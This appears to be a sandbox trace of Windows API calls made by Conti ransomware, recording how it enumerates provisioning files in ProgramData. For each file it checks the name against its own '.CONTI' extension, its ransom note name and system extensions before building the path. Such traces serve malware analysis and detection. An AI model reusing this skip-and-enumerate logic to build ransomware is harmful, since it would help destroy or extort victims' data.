	[0109.431] lstrlenW (lpString="397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.431] GetProcessHeap () returned 0x1720000
	[0109.431] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x6b80d10
	[0109.431] lstrcpyW (in: lpString1=0x6b80d10, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.431] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.431] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\397__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.432] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e80580, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e80580, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e80580, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml", cAlternateFileName="398__C~1.PRO")) returned 1
	[0109.432] lstrcmpiW (lpString1="398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.432] lstrcmpiW (lpString1="398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.432] StrStrIW (lpFirst="398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.432] StrStrIW (lpFirst="398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.432] StrStrIW (lpFirst="398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.432] StrStrIW (lpFirst="398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.432] StrStrIW (lpFirst="398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.432] StrStrIW (lpFirst="398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.432] StrStrIW (lpFirst="398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.432] StrStrIW (lpFirst="398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.432] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.432] lstrlenW (lpString="398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml") returned 71
	[0109.432] GetProcessHeap () returned 0x1720000
	[0109.432] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x656d580
	[0109.432] lstrcpyW (in: lpString1=0x656d580, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.432] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.432] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\398__Connections_Cellular_Cell-C (South Africa)_i0$(__MVID)@WAP.provxml"
	[0109.432] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ea67ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ea67ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ea67ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x291, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml", cAlternateFileName="399__C~1.PRO")) returned 1
	[0109.432] lstrcmpiW (lpString1="399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.432] lstrcmpiW (lpString1="399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.432] StrStrIW (lpFirst="399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.432] StrStrIW (lpFirst="399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.432] StrStrIW (lpFirst="399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.432] StrStrIW (lpFirst="399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.432] StrStrIW (lpFirst="399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.432] StrStrIW (lpFirst="399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.432] StrStrIW (lpFirst="399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.432] StrStrIW (lpFirst="399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.432] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.432] lstrlenW (lpString="399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml") returned 81
	[0109.432] GetProcessHeap () returned 0x1720000
	[0109.432] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x158) returned 0x6574598
	[0109.432] lstrcpyW (in: lpString1=0x6574598, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.433] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.433] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml"
	[0109.433] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90221ca6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90221ca6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90221ca6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml", cAlternateFileName="39__CO~1.PRO")) returned 1
	[0109.433] lstrcmpiW (lpString1="39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.433] lstrcmpiW (lpString1="39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.433] StrStrIW (lpFirst="39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.433] StrStrIW (lpFirst="39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.433] StrStrIW (lpFirst="39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.433] StrStrIW (lpFirst="39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.433] StrStrIW (lpFirst="39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.433] StrStrIW (lpFirst="39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.433] StrStrIW (lpFirst="39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.433] StrStrIW (lpFirst="39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.433] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.433] lstrlenW (lpString="39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml") returned 65
	[0109.433] GetProcessHeap () returned 0x1720000
	[0109.433] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x6573cc8
	[0109.433] lstrcpyW (in: lpString1=0x6573cc8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.433] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.433] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml"
	[0109.433] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900ca6de, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900ca6de, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900ca6de, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="3__CON~1.PRO")) returned 1
	[0109.433] lstrcmpiW (lpString1="3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.433] lstrcmpiW (lpString1="3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.433] StrStrIW (lpFirst="3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.434] StrStrIW (lpFirst="3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.434] StrStrIW (lpFirst="3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.434] StrStrIW (lpFirst="3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.434] StrStrIW (lpFirst="3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.434] StrStrIW (lpFirst="3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.434] StrStrIW (lpFirst="3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.434] StrStrIW (lpFirst="3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.434] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.434] lstrlenW (lpString="3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.434] GetProcessHeap () returned 0x1720000
	[0109.434] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x6572ff8
	[0109.434] lstrcpyW (in: lpString1=0x6572ff8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.434] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.434] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml"
	[0109.434] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ea67ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ea67ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ea67ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml", cAlternateFileName="400__C~1.PRO")) returned 1
	[0109.434] lstrcmpiW (lpString1="400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.434] lstrcmpiW (lpString1="400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.434] StrStrIW (lpFirst="400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.434] StrStrIW (lpFirst="400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.434] StrStrIW (lpFirst="400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.434] StrStrIW (lpFirst="400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.434] StrStrIW (lpFirst="400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.434] StrStrIW (lpFirst="400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.434] StrStrIW (lpFirst="400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.434] StrStrIW (lpFirst="400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.434] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.434] lstrlenW (lpString="400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml") returned 75
	[0109.434] GetProcessHeap () returned 0x1720000
	[0109.434] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14c) returned 0x656dd90
	[0109.434] lstrcpyW (in: lpString1=0x656dd90, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.434] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.434] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml"
	[0109.435] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ea67ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ea67ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ea67ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml", cAlternateFileName="401__C~1.PRO")) returned 1
	[0109.435] lstrcmpiW (lpString1="401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.435] lstrcmpiW (lpString1="401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.435] StrStrIW (lpFirst="401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.435] StrStrIW (lpFirst="401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.435] StrStrIW (lpFirst="401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.435] StrStrIW (lpFirst="401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.435] StrStrIW (lpFirst="401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.435] StrStrIW (lpFirst="401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.435] StrStrIW (lpFirst="401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.435] StrStrIW (lpFirst="401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.435] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.435] lstrlenW (lpString="401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml") returned 75
	[0109.435] GetProcessHeap () returned 0x1720000
	[0109.435] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14c) returned 0x656c2b0
	[0109.435] lstrcpyW (in: lpString1=0x656c2b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.435] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.435] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml"
	[0109.435] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ea67ef, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ea67ef, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ea67ef, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml", cAlternateFileName="402__C~1.PRO")) returned 1
	[0109.435] lstrcmpiW (lpString1="402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.435] lstrcmpiW (lpString1="402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.435] StrStrIW (lpFirst="402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
